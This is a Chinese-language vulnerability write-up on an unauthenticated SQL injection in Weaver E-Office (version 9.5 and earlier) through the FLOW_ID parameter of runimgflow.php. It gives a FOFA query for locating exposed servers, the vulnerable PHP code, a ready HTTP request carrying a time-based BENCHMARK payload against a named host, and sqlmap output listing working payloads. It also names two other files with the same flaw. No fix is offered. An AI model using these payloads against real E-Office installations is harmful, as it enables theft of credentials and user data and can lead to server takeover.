漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office runimgflow.php 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语句

app="泛微-EOffice"

漏洞分析

general/workflow/runimgflow.php 业务逻辑如下

<?php

include_once( "inc/conn.php" );
include_once( "inc/img_flow.inc.php" );
include_once( "inc/img_patten.inc.php" );
$sql = "  \r\n     SELECT ID,FLOW_ID,PRCS_ID,PRCS_NAME,PRCS_USER,PRCS_ITEM,PRCS_DEPT,PRCS_PRIV,PRCS_TO \r\n\t       FROM flow_process \r\n\t\t       WHERE FLOW_ID=".$_REQUEST['FLOW_ID']." \r\n\t\t\t      ORDER BY PRCS_ID ASC\r\n\t\t\t\t  ";
$res = exequery( $connection, $sql );

FLOW_ID 被直接拼接进SQL语句后执行，无任何过滤校验，造成SQL注入漏洞。

漏洞复现

GET /general/workflow/runimgflow.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Cookie: FLOW_ID=1 AND 7348=BENCHMARK(5000000,MD5(0x51747266))

成功在延时 5 秒

sqlmap 结果如下

sqlmap identified the following injection point(s) with a total of 378 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: FLOW_ID=1 AND 2326=2326

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: FLOW_ID=1 AND 7348=BENCHMARK(5000000,MD5(0x51747266))
---

imgflow.php、flowimg.php 存在同样的SQL注入漏洞